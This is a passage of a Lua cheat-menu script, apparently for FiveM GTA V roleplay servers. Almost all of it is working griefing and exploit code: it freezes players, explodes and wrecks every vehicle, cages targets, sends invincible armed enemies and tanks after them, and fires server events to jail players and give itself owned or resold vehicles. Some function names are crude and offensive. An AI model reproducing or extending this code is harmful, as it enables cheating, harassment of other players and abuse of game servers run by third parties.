5686 SetBlipSprite(blip, 56)
5687 pInvoke( 0x5FBCA48327B914DF, blip, true)
5688 end
5689 elseif blipSprite ~= 1 then
5690 SetBlipSprite(blip, 1)
5691 pInvoke( 0x5FBCA48327B914DF, blip, true)
5692 end
5693
5694 local passengers = GetVehicleNumberOfPassengers(veh)
5695
5696 if passengers > 0 then
5697 if not IsVehicleSeatFree(veh, -1) then
5698 passengers = passengers + 1
5699 end
5700 ShowNumberOnBlip(blip, passengers)
5701 else
5702 HideNumberOnBlip(blip)
5703 end
5704 else
5705 HideNumberOnBlip(blip)
5706
5707 if blipSprite ~= 1 then
5708 SetBlipSprite(blip, 1)
5709 pInvoke( 0x5FBCA48327B914DF, blip, true)
5710
5711 end
5712 end
5713
5714 SetBlipRotation(blip, math.ceil(GetEntityHeading(veh)))
5715 SetBlipNameToPlayerName(blip, id)
5716 SetBlipScale(blip, 0.85)
5717
5718 if IsPauseMenuActive() then
5719 SetBlipAlpha( blip, 255 )
5720 else
5721 x1, y1 = table.unpack(GetEntityCoords(Herooyyy.datastore.pLocalPlayer.pedId, true))
5722 x2, y2 = table.unpack(GetEntityCoords(GetPlayerPed(id), true))
5723 distance = (math.floor(math.abs(math.sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1)) + 900
5724
5725 if distance < 0 then
5726 distance = 0
5727 elseif distance > 255 then
5728 distance = 255
5729 end
5730 SetBlipAlpha(blip, distance)
5731 end
5732 end
5733 end
5734 end
5735 elseif not Herooyyy.storedControls.visPlayerBlips then
5736 local plist = Herooyyy.natives.getActivePlayers()
5737 for i = 1, #plist do
5738 local id = plist[i]
5739 local ped = GetPlayerPed(id)
5740 local blip = GetBlipFromEntity(ped)
5741 if DoesBlipExist(blip) then
5742 RemoveBlip(blip)
5743 end
5744 end
5745 end
5746end
5747
5748--[[allPlayersOptions]]
5749Herooyyy.functions.aPO = {}
5750
5751Herooyyy.functions.aPO.freezeAll = function()
5752 for i=0, #Herooyyy.natives.getActivePlayers() do
5753 Herooyyy.natives.clearPedTasksImmediately(GetPlayerPed(i))
5754 ClearPedSecondaryTask(GetPlayerPed(i))
5755 end
5756end
5757
5758Herooyyy.functions.aPO.disableDrivingCars = function()
5759 local plist = Herooyyy.natives.getActivePlayers()
5760 for i = 0, #plist do
5761 if IsPedInAnyVehicle(GetPlayerPed(i), true) then
5762 Herooyyy.natives.clearPedTasksImmediately(GetPlayerPed(i))
5763 end
5764 end
5765end
5766
5767Herooyyy.functions.aPO.noisyVehicles = function()
5768 for k in Herooyyy.trashFunctions.enumVehicles() do
5769 SetVehicleAlarmTimeLeft(k, 60)
5770 end
5771end
5772
5773Herooyyy.functions.aPO.explodeCars = function()
5774 for vehicle in Herooyyy.trashFunctions.enumVehicles() do
5775 if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false)) and (not GotTrailer or (GotTrailer and vehicle ~= TrailerHandle)) then
5776 Herooyyy.trashFunctions.reqControlOnce(vehicle)
5777 Herooyyy.natives.networkExplodeVehicle(vehicle, true, true, false)
5778 end
5779 end
5780end
5781
5782Herooyyy.functions.aPO.rapeVehicles = function()
5783 for enumeratedVs in Herooyyy.trashFunctions.enumVehicles() do
5784 Herooyyy.functions.sPO.rapeVehicle(enumeratedVs)
5785 end
5786end
5787
5788Herooyyy.functions.aPO.clonePeds = function()
5789 local plist = Herooyyy.natives.getActivePlayers()
5790 for i = 0, #plist do
5791 local Handle = GetPlayerPedScriptIndex(GetPlayerPed(i))
5792 --[[local Handle = GetPlayerPedScriptIndex(plist[i])]]
5793 ClonePed(Handle, 1, 1, 1)
5794 end
5795end
5796
5797Herooyyy.functions.aPO.spawnTrollProp = function(prop)
5798 local plist = Herooyyy.natives.getActivePlayers()
5799 for i = 0, #plist do
5800 Herooyyy.functions.sPO.spawnTrollProp(GetPlayerPed(i), prop)
5801 end
5802end
5803
5804Herooyyy.functions.aPO.giveAllWeapons = function(asPickup)
5805 for i = 0, #Herooyyy.natives.getActivePlayers() do
5806 Herooyyy.functions.sPO.giveAllWeapons(asPickup, GetPlayerPed(i))
5807 end
5808end
5809
5810Herooyyy.functions.aPO.burnSFX = function()
5811 for trash=0, 50 do
5812 for i in Herooyyy.trashFunctions.enumPeds() do
5813 if not IsPedAPlayer(i) then
5814 RequestNamedPtfxAsset('core')
5815 UseParticleFxAssetNextCall('core')
5816 StartNetworkedParticleFxNonLoopedOnEntity('ent_sht_flame', i, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 15.0, false, false, false)
5817 end
5818 end
5819 end
5820end
5821
5822Herooyyy.functions.aPO.flyingCars = function()
5823 for k in Herooyyy.trashFunctions.enumVehicles() do
5824 Herooyyy.trashFunctions.reqControlOnce(k)
5825 ApplyForceToEntity(k, 3, 0.0, 0.0, 500.0, 0.0, 0.0, 0.0, 0, 0, 1, 1, 0, 1)
5826 end
5827end
5828
5829Herooyyy.functions.aPO.jail = function()
5830 for i = 0, #Herooyyy.natives.getActivePlayers() do
5831 Herooyyy.functions.sPO.jailTheFucker(GetPlayerServerId(i), 5391)
5832 end
5833end
5834
5835Herooyyy.functions.aPO.unJail = function()
5836 for i = 0, #Herooyyy.natives.getActivePlayers() do
5837 Herooyyy.functions.sPO.unJailTheFucker(GetPlayerServerId(i), 5391)
5838 end
5839end
5840
5841Herooyyy.functions.aPO.communityService = function()
5842 for i = 0, #Herooyyy.natives.getActivePlayers() do
5843 Herooyyy.functions.sPO.communityService(GetPlayerServerId(i))
5844 end
5845end
5846
5847Herooyyy.functions.aPO.propBlock = function(index)
5848 pCreateThread(function()
5849 local e8 = -145066854
5850 RequestModel(e8)
5851 while not HasModelLoaded(e8) do
5852 pWait(0)
5853 end
5854 if Herooyyy.menuTables.trollsPropBlock.selected == 1 then
5855 local e9 = Herooyyy.natives.createObject(e8, 97.8, -993.22, 28.41, true, true, false)
5856 local ea = Herooyyy.natives.createObject(e8, 247.08, -1027.62, 28.26, true, true, false)
5857 local e92 = Herooyyy.natives.createObject(e8, 274.51, -833.73, 28.25, true, true, false)
5858 local ea2 = Herooyyy.natives.createObject(e8, 291.54, -939.83, 27.41, true, true, false)
5859 local ea3 = Herooyyy.natives.createObject(e8, 143.88, -830.49, 30.17, true, true, false)
5860 local ea4 = Herooyyy.natives.createObject(e8, 161.97, -768.79, 29.08, true, true, false)
5861 local ea5 = Herooyyy.natives.createObject(e8, 151.56, -1061.72, 28.21, true, true, false)
5862 SetEntityHeading(e9, 39.79)
5863 SetEntityHeading(ea, 128.62)
5864 SetEntityHeading(e92, 212.1)
5865 SetEntityHeading(ea2, 179.22)
5866 SetEntityHeading(ea3, 292.37)
5867 SetEntityHeading(ea4, 238.46)
5868 SetEntityHeading(ea5, 61.43)
5869 FreezeEntityPosition(e9, true)
5870 FreezeEntityPosition(ea, true)
5871 FreezeEntityPosition(e92, true)
5872 FreezeEntityPosition(ea2, true)
5873 FreezeEntityPosition(ea3, true)
5874 FreezeEntityPosition(ea4, true)
5875 FreezeEntityPosition(ea5, true)
5876 elseif Herooyyy.menuTables.trollsPropBlock.selected == 2 then
5877 local pd1 = Herooyyy.natives.createObject(e8, 439.43, -965.49, 27.05, true, true, false)
5878 local pd2 = Herooyyy.natives.createObject(e8, 401.04, -1015.15, 27.42, true, true, false)
5879 local pd3 = Herooyyy.natives.createObject(e8, 490.22, -1027.29, 26.18, true, true, false)
5880 local pd4 = Herooyyy.natives.createObject(e8, 491.36, -925.55, 24.48, true, true, false)
5881 SetEntityHeading(pd1, 130.75)
5882 SetEntityHeading(pd2, 212.63)
5883 SetEntityHeading(pd3, 340.06)
5884 SetEntityHeading(pd4, 209.57)
5885 FreezeEntityPosition(pd1, true)
5886 FreezeEntityPosition(pd2, true)
5887 FreezeEntityPosition(pd3, true)
5888 FreezeEntityPosition(pd4, true)
5889 elseif Herooyyy.menuTables.trollsPropBlock.selected == 3 then
5890 local cd1 = Herooyyy.natives.createObject(e8, -50.97, -1066.92, 26.52, true, true, false)
5891 local cd2 = Herooyyy.natives.createObject(e8, -63.86, -1099.05, 25.26, true, true, false)
5892 local cd3 = Herooyyy.natives.createObject(e8, -44.13, -1129.49, 25.07, true, true, false)
5893 SetEntityHeading(cd1, 160.59)
5894 SetEntityHeading(cd2, 216.98)
5895 SetEntityHeading(cd3, 291.74)
5896 FreezeEntityPosition(cd1, true)
5897 FreezeEntityPosition(cd2, true)
5898 FreezeEntityPosition(cd3, true)
5899 end
5900 end)
5901end
5902
5903--[[selectedPlayerOptions]]
5904Herooyyy.functions.sPO = {}
5905
5906Herooyyy.functions.sPO.spectatePlayer = function(target)
5907 Herooyyy.storedControls.sPOIsSpectating = not Herooyyy.storedControls.sPOIsSpectating
5908 local targetPed = GetPlayerPed(target)
5909 if Herooyyy.storedControls.sPOIsSpectating then
5910 local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
5911 RequestCollisionAtCoord(targetx, targety, targetz)
5912 NetworkSetInSpectatorMode(true, targetPed)
5913 RequestCollisionAtCoord(GetEntityCoords(targetPed))
5914 NetworkSetInSpectatorMode(true, targetPed)
5915 Herooyyy.functions.game.subtitle('Started spectating ~b~' .. GetPlayerName(target))
5916 else
5917 local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
5918 RequestCollisionAtCoord(targetx, targety, targetz)
5919 NetworkSetInSpectatorMode(false, targetPed)
5920 Herooyyy.functions.game.subtitle('Stopped spectating ~b~' .. GetPlayerName(target))
5921 end
5922end
5923
5924Herooyyy.functions.sPO.teleportToPlayer = function(target)
5925 local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(target)))
5926 Herooyyy.functions.teleportSelf(x, y, z)
5927end
5928
5929Herooyyy.functions.sPO.teleportIntoVehicle = function(target)
5930 if not IsPedInAnyVehicle(target) then
5931 return Herooyyy.pushNotification('Player must be sitting in a vehicle!', 5000)
5932 end
5933
5934 local vehicle = GetVehiclePedIsUsing(target)
5935
5936 local seats = GetVehicleMaxNumberOfPassengers(vehicle)
5937 for i = 0, seats do
5938 if IsVehicleSeatFree(vehicle, i) then
5939 SetPedIntoVehicle(Herooyyy.datastore.pLocalPlayer.pedId, vehicle, i)
5940 break
5941 end
5942 end
5943end
5944
5945Herooyyy.functions.sPO.SpawnVehicleToPlayer = function(modelName, playerIdx)
5946 if modelName and IsModelValid(modelName) and IsModelAVehicle(modelName) then
5947 RequestModel(modelName)
5948 while not HasModelLoaded(modelName) do pWait(0) end
5949 local model = (type(modelName) == 'number' and modelName or GetHashKey(modelName))
5950 local playerPed = GetPlayerPed(playerIdx)
5951 local SpawnedVehicle = Herooyyy.natives.createVehicle(model, GetEntityCoords(playerPed), GetEntityHeading(playerPed), true, true)
5952 local SpawnedVehicleIdx = NetworkGetNetworkIdFromEntity(SpawnedVehicle)
5953 SetNetworkIdCanMigrate(SpawnedVehicleIdx, true)
5954 SetEntityAsMissionEntity(SpawnedVehicle, true, false)
5955 SetVehicleHasBeenOwnedByPlayer(SpawnedVehicle, true)
5956 SetVehicleNeedsToBeHotwired(SpawnedVehicle, false)
5957 SetModelAsNoLongerNeeded(model)
5958
5959 if NetworkHasControlOfEntity(playerPed) then
5960 SetPedIntoVehicle(playerPed, SpawnedVehicle, -1)
5961 end
5962 SetVehicleEngineOn(SpawnedVehicle, true, false, false)
5963 SetVehRadioStation(SpawnedVehicle, 'OFF')
5964 return SpawnedVehicle
5965 else
5966 Herooyyy.pushNotification('Invalid Vehicle Model!', 5000)
5967 return nil
5968 end
5969end
5970
5971Herooyyy.functions.sPO.SpawnLegalVehicle = function(vehicalModelName, playerIdx, plateNumber)
5972 local SpawnedVehicle = Herooyyy.functions.sPO.SpawnVehicleToPlayer(vehicalModelName, playerIdx)
5973 if SpawnedVehicle ~= nil then
5974 if Herooyyy.functions.game.isNullOrEmpty(plateNumber) then
5975 SetVehicleNumberPlateText(SpawnedVehicle, GetVehicleNumberPlateText(SpawnedVehicle))
5976 else
5977 SetVehicleNumberPlateText(SpawnedVehicle, plateNumber) end
5978 Herooyyy.pushNotification('Spawned Vehicle', 5000)
5979 local SpawnedVehicleProperties = Herooyyy.functions.game.getVehicleProperties(SpawnedVehicle)
5980 local SpawnedVehicleModel = GetDisplayNameFromVehicleModel(SpawnedVehicleProperties.model)
5981 if SpawnedVehicleProperties then
5982 if Herooyyy.functions.doesResourceExist('esx_vehicleshop') then
5983 Herooyyy.dTCE(true, true, 'esx_vehicleshop:setVehicleOwnedPlayerId', GetPlayerServerId(playerIdx), SpawnedVehicleProperties, SpawnedVehicleModel, vehicalModelName, false)
5984 elseif Herooyyy.functions.doesResourceExist('esx_CryptosCustoms') then
5985 Herooyyy.dTCE(true, true, 'esx_CryptosCustoms:setVehicleOwnedPlayerId', GetPlayerServerId(playerIdx), SpawnedVehicleProperties, SpawnedVehicleModel, vehicalModelName, false)
5986 else
5987 Herooyyy.pushNotification('Resource was not found!', 5000)
5988 end
5989 end
5990 end
5991end
5992
5993Herooyyy.functions.sPO.ESXSellVehicle = function()
5994 if IsPedInAnyVehicle(GetPlayerPed(-1)) then
5995 if Herooyyy.datastore.ESX ~= nil then
5996 local vehicleProperties = Herooyyy.functions.game.getVehicleProperties(GetVehiclePedIsIn(GetPlayerPed(-1), false))
5997 if Herooyyy.functions.doesResourceExist('esx_vehicleshop') then
5998 Herooyyy.datastore.ESX.TriggerServerCallback('esx_vehicleshop:resellVehicle', function(vehicle_sold) end, vehicleProperties.plate, vehicleProperties.model)
5999 elseif Herooyyy.functions.doesResourceExist('esx_CryptosCustoms') then
6000 Herooyyy.datastore.ESX.TriggerServerCallback('esx_CryptosCustoms:resellVehicle', function(vehicle_sold) end, vehicleProperties.plate, vehicleProperties.model)
6001 else
6002 Herooyyy.pushNotification('Resource was not found!', 5000)
6003 end
6004 else
6005 Herooyyy.pushNotification('Could not find ESX, try refresing it in the settings tab', 5000)
6006 end
6007 else
6008 Herooyyy.pushNotification('You must be in a vehicle to use this!', 5000)
6009 end
6010end
6011
6012Herooyyy.functions.sPO.cloneVehicle = function(target)
6013 local selectedPlayerVehicle = nil
6014 if IsPedInAnyVehicle(GetPlayerPed(target)) then selectedPlayerVehicle = GetVehiclePedIsIn(GetPlayerPed(target), false)
6015 else selectedPlayerVehicle = GetVehiclePedIsIn(GetPlayerPed(target), true) end
6016
6017 if DoesEntityExist(selectedPlayerVehicle) then
6018 local vehicleModel = GetEntityModel(selectedPlayerVehicle)
6019 local spawnedVehicle = Herooyyy.functions.sPO.SpawnVehicleToPlayer(vehicleModel, PlayerId())
6020
6021 local vehicleProperties = Herooyyy.functions.game.getVehicleProperties(selectedPlayerVehicle)
6022 vehicleProperties.plate = nil
6023
6024 Herooyyy.functions.game.setVehicleProperties(spawnedVehicle, vehicleProperties)
6025
6026 SetVehicleEngineOn(spawnedVehicle, true, false, false)
6027 SetVehRadioStation(spawnedVehicle, 'OFF')
6028 end
6029end
6030
6031Herooyyy.functions.sPO.clonePedOutfit = function(me, ped)
6032 hat = GetPedPropIndex(ped, 0)
6033 hat_texture = GetPedPropTextureIndex(ped, 0)
6034
6035 glasses = GetPedPropIndex(ped, 1)
6036 glasses_texture = GetPedPropTextureIndex(ped, 1)
6037
6038 ear = GetPedPropIndex(ped, 2)
6039 ear_texture = GetPedPropTextureIndex(ped, 2)
6040
6041 watch = GetPedPropIndex(ped, 6)
6042 watch_texture = GetPedPropTextureIndex(ped, 6)
6043
6044 wrist = GetPedPropIndex(ped, 7)
6045 wrist_texture = GetPedPropTextureIndex(ped, 7)
6046
6047 head_drawable = GetPedDrawableVariation(ped, 0)
6048 head_palette = GetPedPaletteVariation(ped, 0)
6049 head_texture = GetPedTextureVariation(ped, 0)
6050
6051 beard_drawable = GetPedDrawableVariation(ped, 1)
6052 beard_palette = GetPedPaletteVariation(ped, 1)
6053 beard_texture = GetPedTextureVariation(ped, 1)
6054
6055 hair_drawable = GetPedDrawableVariation(ped, 2)
6056 hair_palette = GetPedPaletteVariation(ped, 2)
6057 hair_texture = GetPedTextureVariation(ped, 2)
6058
6059 torso_drawable = GetPedDrawableVariation(ped, 3)
6060 torso_palette = GetPedPaletteVariation(ped, 3)
6061 torso_texture = GetPedTextureVariation(ped, 3)
6062
6063 legs_drawable = GetPedDrawableVariation(ped, 4)
6064 legs_palette = GetPedPaletteVariation(ped, 4)
6065 legs_texture = GetPedTextureVariation(ped, 4)
6066
6067 hands_drawable = GetPedDrawableVariation(ped, 5)
6068 hands_palette = GetPedPaletteVariation(ped, 5)
6069 hands_texture = GetPedTextureVariation(ped, 5)
6070
6071 foot_drawable = GetPedDrawableVariation(ped, 6)
6072 foot_palette = GetPedPaletteVariation(ped, 6)
6073 foot_texture = GetPedTextureVariation(ped, 6)
6074
6075 acc1_drawable = GetPedDrawableVariation(ped, 7)
6076 acc1_palette = GetPedPaletteVariation(ped, 7)
6077 acc1_texture = GetPedTextureVariation(ped, 7)
6078
6079 acc2_drawable = GetPedDrawableVariation(ped, 8)
6080 acc2_palette = GetPedPaletteVariation(ped, 8)
6081 acc2_texture = GetPedTextureVariation(ped, 8)
6082
6083 acc3_drawable = GetPedDrawableVariation(ped, 9)
6084 acc3_palette = GetPedPaletteVariation(ped, 9)
6085 acc3_texture = GetPedTextureVariation(ped, 9)
6086
6087 mask_drawable = GetPedDrawableVariation(ped, 10)
6088 mask_palette = GetPedPaletteVariation(ped, 10)
6089 mask_texture = GetPedTextureVariation(ped, 10)
6090
6091 aux_drawable = GetPedDrawableVariation(ped, 11)
6092 aux_palette = GetPedPaletteVariation(ped, 11)
6093 aux_texture = GetPedTextureVariation(ped, 11)
6094
6095 SetPedPropIndex(me, 0, hat, hat_texture, 1)
6096 SetPedPropIndex(me, 1, glasses, glasses_texture, 1)
6097 SetPedPropIndex(me, 2, ear, ear_texture, 1)
6098 SetPedPropIndex(me, 6, watch, watch_texture, 1)
6099 SetPedPropIndex(me, 7, wrist, wrist_texture, 1)
6100
6101 SetPedComponentVariation(me, 0, head_drawable, head_texture, head_palette)
6102 SetPedComponentVariation(me, 1, beard_drawable, beard_texture, beard_palette)
6103 SetPedComponentVariation(me, 2, hair_drawable, hair_texture, hair_palette)
6104 SetPedComponentVariation(me, 3, torso_drawable, torso_texture, torso_palette)
6105 SetPedComponentVariation(me, 4, legs_drawable, legs_texture, legs_palette)
6106 SetPedComponentVariation(me, 5, hands_drawable, hands_texture, hands_palette)
6107 SetPedComponentVariation(me, 6, foot_drawable, foot_texture, foot_palette)
6108 SetPedComponentVariation(me, 7, acc1_drawable, acc1_texture, acc1_palette)
6109 SetPedComponentVariation(me, 8, acc2_drawable, acc2_texture, acc2_palette)
6110 SetPedComponentVariation(me, 9, acc3_drawable, acc3_texture, acc3_palette)
6111 SetPedComponentVariation(me, 10, mask_drawable, mask_texture, mask_palette)
6112 SetPedComponentVariation(me, 11, aux_drawable, aux_texture, aux_palette)
6113end
6114
6115Herooyyy.functions.sPO.spawnEnemies = function(target, model)
6116 local wep = 'WEAPON_ASSAULTRIFLE'
6117 for i = 1, 5 do
6118 pCreateThread(function()
6119 local coords = GetEntityCoords(target)
6120 RequestModel(GetHashKey(model))
6121 pWait(50)
6122 if HasModelLoaded(GetHashKey(model)) then
6123 local ped = CreatePed(21, GetHashKey(model),coords.x + i, coords.y - i, coords.z, 0, true, true) and CreatePed(21, GetHashKey(model),coords.x - i, coords.y + i, coords.z, 0, true, true)
6124 NetworkRegisterEntityAsNetworked(ped)
6125 SetPedRelationshipGroupHash(ped, GetHashKey('AMBIENT_GANG_WEICHENG'))
6126 SetPedRelationshipGroupDefaultHash(ped, GetHashKey('AMBIENT_GANG_WEICHENG'))
6127 if DoesEntityExist(ped) and not IsEntityDead(target) then
6128 local netped = PedToNet(ped)
6129 NetworkSetNetworkIdDynamic(netped, false)
6130 SetNetworkIdCanMigrate(netped, true)
6131 SetNetworkIdExistsOnAllMachines(netped, true)
6132 pWait(100)
6133 NetToPed(netped)
6134 Herooyyy.natives.giveWeaponToPed(ped, GetHashKey(wep), 9999, 1, 1)
6135 SetEntityInvincible(ped, true)
6136 SetPedCanSwitchWeapon(ped, true)
6137 TaskCombatPed(ped, target, 0,16)
6138 elseif IsEntityDead(target) then
6139 TaskCombatHatedTargetsInArea(ped, coords.x,coords.y, coords.z, 500)
6140 else
6141 pWait(0)
6142 end
6143 end
6144 end)
6145 end
6146end
6147
6148Herooyyy.functions.sPO.spawnHeliEnemies = function(target)
6149 pCreateThread(function()
6150 local x, y, z = table.unpack(GetEntityCoords(target))
6151 local flacko_veri_cool = 'buzzard'
6152 local nertigel_flighter = 'ig_claypain'
6153 RequestModel(flacko_veri_cool)
6154 RequestModel(nertigel_flighter)
6155 local timeout = 0
6156 while not HasModelLoaded(nertigel_flighter) do
6157 timeout = timeout + 100
6158 pWait(100)
6159 if timeout > 5000 then
6160 Herooyyy.pushNotification('Could not load model!', 5000)
6161 break
6162 end
6163 end
6164 while not HasModelLoaded(flacko_veri_cool) do
6165 timeout = timeout + 100
6166 pWait(100)
6167 if timeout > 5000 then
6168 Herooyyy.pushNotification('Could not load model!', 5000)
6169 break
6170 end
6171 end
6172 local flacko_dream_heli = Herooyyy.natives.createVehicle(GetHashKey(flacko_veri_cool),x,y,z + 100, GetEntityHeading(target), true, true)
6173 local newDriver = CreatePedInsideVehicle(flacko_dream_heli, 4, nertigel_flighter, -1, true, false)
6174 SetHeliBladesFullSpeed(flacko_dream_heli)
6175
6176 SetCurrentPedVehicleWeapon(newDriver, GetHashKey('VEHICLE_WEAPON_PLANE_ROCKET'))
6177 SetVehicleShootAtTarget(newDriver, target, x, y, z)
6178
6179 local netped = PedToNet(newDriver)
6180 NetworkSetNetworkIdDynamic(netped, false)
6181 SetNetworkIdCanMigrate(netped, true)
6182 SetNetworkIdExistsOnAllMachines(netped, true)
6183 pWait(30)
6184 NetToPed(netped)
6185 SetEntityInvincible(netped, true)
6186
6187 SetPedCanSwitchWeapon(newDriver, true)
6188 TaskCombatPed(newDriver, target, 0, 16)
6189
6190 local model = 'a_m_y_skater_01'
6191 local wep = 'WEAPON_ASSAULTRIFLE'
6192 for i = 1, 3 do
6193 local coords = GetEntityCoords(target)
6194 RequestModel(GetHashKey(model))
6195 pWait(50)
6196 if HasModelLoaded(GetHashKey(model)) then
6197 local ped = CreatePedInsideVehicle(flacko_dream_heli, 4, nertigel_flighter, i, true, false)
6198 NetworkRegisterEntityAsNetworked(ped)
6199 pCreateThread(function()
6200 if DoesEntityExist(ped) and not IsEntityDead(target) then
6201 local netped = PedToNet(ped)
6202 NetworkSetNetworkIdDynamic(netped, false)
6203 SetNetworkIdCanMigrate(netped, true)
6204 SetNetworkIdExistsOnAllMachines(netped, true)
6205 pWait(100)
6206 NetToPed(netped)
6207 Herooyyy.natives.giveWeaponToPed(ped, GetHashKey(wep), 9999, 1, 1)
6208 SetEntityInvincible(ped, true)
6209 SetPedCanSwitchWeapon(ped, true)
6210 TaskCombatPed(ped, target, 0,16)
6211 else
6212 pWait(0)
6213 end
6214 end)
6215 end
6216 end
6217 end)
6218end
6219
6220Herooyyy.functions.sPO.spawnTankEnemy = function(target)
6221 pCreateThread(function()
6222 local theTank = 'rhino'
6223 RequestModel(theTank)
6224 while not HasModelLoaded(theTank) do
6225 pWait(50)
6226 end
6227 local lVehicle = GetVehiclePedIsIn(target, false)
6228 local x,y,z = table.unpack(GetEntityCoords(target))
6229 local tank = Herooyyy.natives.createVehicle(GetHashKey(theTank), x + 20,y + 20,z + 5,GetEntityCoords(target),true,false)
6230 Herooyyy.trashFunctions.reqControlOnce(tank)
6231 local pPed = 's_m_y_swat_01'
6232 RequestModel(pPed)
6233 while not HasModelLoaded(pPed) do
6234 RequestModel(pPed)
6235 pWait(50)
6236 end
6237 local NerdTigel = CreatePedInsideVehicle(tank, 4, GetEntityModel(Herooyyy.datastore.pLocalPlayer.pedId), -1, true, false)
6238 Herooyyy.trashFunctions.reqControlOnce(NerdTigel)
6239 SetDriverAbility(NerdTigel, 10.0)
6240 SetDriverAggressiveness(NerdTigel, 10.0)
6241 TaskCombatPed(NerdTigel, target, 0, 16)
6242 end)
6243end
6244
6245Herooyyy.functions.sPO.cagePlayer = function(target)
6246 local x, y, z = table.unpack(GetEntityCoords(target))
6247 local propHash = GetHashKey('prop_doghouse_01')
6248 RequestModel(propHash)
6249 pCreateThread(function()
6250 local timeout = 0
6251 while not HasModelLoaded(propHash) do
6252 timeout = timeout + 100
6253 pWait(100)
6254 if timeout > 5000 then
6255 Herooyyy.pushNotification('Could not load model!', 5000)
6256 break
6257 end
6258 end
6259 Herooyyy.natives.clearPedTasksImmediately(target)
6260 local cageObj = Herooyyy.natives.createObject(propHash, x, y, z, true, true, false)
6261 SetEntityHeading(cageObj, 0.0)
6262 FreezeEntityPosition(cageObj, true)
6263 end)
6264end
6265
6266Herooyyy.functions.sPO.giveAllWeapons = function(asPickup, target)
6267 for i = 1, #Herooyyy.trashTables.weaponsModels do
6268 if asPickup then
6269 CreatePickup(GetHashKey('PICKUP_'..Herooyyy.trashTables.weaponsModels[i]), GetEntityCoords(target))
6270 else
6271 Herooyyy.natives.giveWeaponToPed(target, GetHashKey(Herooyyy.trashTables.weaponsModels[i]), 250, false, false)
6272 end
6273 end
6274end
6275
6276Herooyyy.functions.sPO.ramVehicle = function(target, m_vehicle)
6277 pCreateThread(function()
6278 local model = GetHashKey(m_vehicle)
6279 RequestModel(model)
6280 while not HasModelLoaded(model) do
6281 pWait(0)
6282 end
6283 local offset = GetOffsetFromEntityInWorldCoords(target, 0, -10.0, 0)
6284 if HasModelLoaded(model) then
6285 local veh = Herooyyy.natives.createVehicle(model, offset.x, offset.y, offset.z, GetEntityHeading(target), true, true)
6286 NetworkRegisterEntityAsNetworked(VehToNet(veh))
6287 SetVehicleForwardSpeed(veh, 60.0)
6288 end
6289 end)
6290end
6291
6292Herooyyy.functions.sPO.spawnTrollProp = function(target, prop)
6293 local propHash = GetHashKey(prop)
6294 RequestModel(propHash)
6295 pCreateThread(function()
6296 local timeout = 0
6297 while not HasModelLoaded(propHash) do
6298 timeout = timeout + 100
6299 pWait(100)
6300 if timeout > 5000 then
6301 Herooyyy.pushNotification('Could not load model!', 5000)
6302 break
6303 end
6304 end
6305 local x,y,z = table.unpack(GetEntityCoords(target))
6306 local object = Herooyyy.natives.createObject(propHash, x, y, z, true, true, false)
6307 AttachEntityToEntity(object, target, GetPedBoneIndex(target, SKEL_Spine_Root), 0.0, 0.0, 0.0, 0.0, 90.0, 0, false, false, false, false, 2, true)
6308 --[[SetModelAsNoLongerNeeded(propHash)]]
6309 end)
6310end
6311
6312Herooyyy.functions.sPO.shootAt = function(target, weaponName)
6313 if IsPedInAnyVehicle(target, true) then
6314 Herooyyy.natives.clearPedTasksImmediately(target)
6315 end
6316 local destination = GetPedBoneCoords(target, SKEL_ROOT, 0.0, 0.0, 0.0)
6317 local origin = GetPedBoneCoords(target, SKEL_R_Hand, 0.0, 0.0, 0.2)
6318 local weaponHash = GetHashKey(weaponName)
6319 Herooyyy.natives.shootSingleBulletBetweenCoords(origin.x, origin.y, origin.z, destination.x, destination.y, destination.z, 1, 0, weaponHash, Herooyyy.datastore.pLocalPlayer.pedId, false, false, 1)
6320end
6321
6322Herooyyy.functions.sPO.rapeVehicle = function(vehicle)
6323 if not IsPedAPlayer(GetPedInVehicleSeat(vehicle, -1)) then
6324 Herooyyy.trashFunctions.reqControlOnce(vehicle)
6325 if NetworkHasControlOfEntity(vehicle) then
6326 SetEntityAsMissionEntity(vehicle, false, false)
6327 StartVehicleAlarm(vehicle)
6328 DetachVehicleWindscreen(vehicle)
6329 SmashVehicleWindow(vehicle, 0)
6330 SmashVehicleWindow(vehicle, 1)
6331 SmashVehicleWindow(vehicle, 2)
6332 SmashVehicleWindow(vehicle, 3)
6333 SetVehicleTyreBurst(vehicle, 0, true, 1000.0)
6334 SetVehicleTyreBurst(vehicle, 1, true, 1000.0)
6335 SetVehicleTyreBurst(vehicle, 2, true, 1000.0)
6336 SetVehicleTyreBurst(vehicle, 3, true, 1000.0)
6337 SetVehicleTyreBurst(vehicle, 4, true, 1000.0)
6338 SetVehicleTyreBurst(vehicle, 5, true, 1000.0)
6339 SetVehicleTyreBurst(vehicle, 4, true, 1000.0)
6340 SetVehicleTyreBurst(vehicle, 7, true, 1000.0)
6341 SetVehicleDoorBroken(vehicle, 0, true)
6342 SetVehicleDoorBroken(vehicle, 1, true)
6343 SetVehicleDoorBroken(vehicle, 2, true)
6344 SetVehicleDoorBroken(vehicle, 3, true)
6345 SetVehicleDoorBroken(vehicle, 4, true)
6346 SetVehicleDoorBroken(vehicle, 5, true)
6347 SetVehicleDoorBroken(vehicle, 6, true)
6348 SetVehicleDoorBroken(vehicle, 7, true)
6349 SetVehicleLights(vehicle, 1)
6350 SetVehicleLightsMode(vehicle, 1)
6351 SetVehicleNumberPlateTextIndex(vehicle, 5)
6352 SetVehicleNumberPlateText(vehicle, 'd'..'opamine')
6353 SetVehicleDirtLevel(vehicle, 10.0)
6354 SetVehicleModColor_1(vehicle, 1)
6355 SetVehicleModColor_2(vehicle, 1)
6356 SetVehicleCustomPrimaryColour(vehicle, 255, 51, 255)
6357 SetVehicleCustomSecondaryColour(vehicle, 255, 51, 255)
6358 SetVehicleBurnout(vehicle, true)
6359 ForceVehicleEngineAudio(vehicle, 'faggio')
6360 SetVehicleLightsMode(vehicle, 1)
6361 SetVehicleHandlingFloat(vehicle, 'CHandlingData', 'fDriveBiasFront', 0.9)
6362 SetVehicleSteerBias(vehicle, 1.0)
6363 end
6364 end
6365end
6366
6367Herooyyy.functions.sPO.SearchDisc = function(player)
6368 local discSecondarySearchInventory = {
6369 type = 'player',
6370 owner = '',
6371 seize = true
6372 }
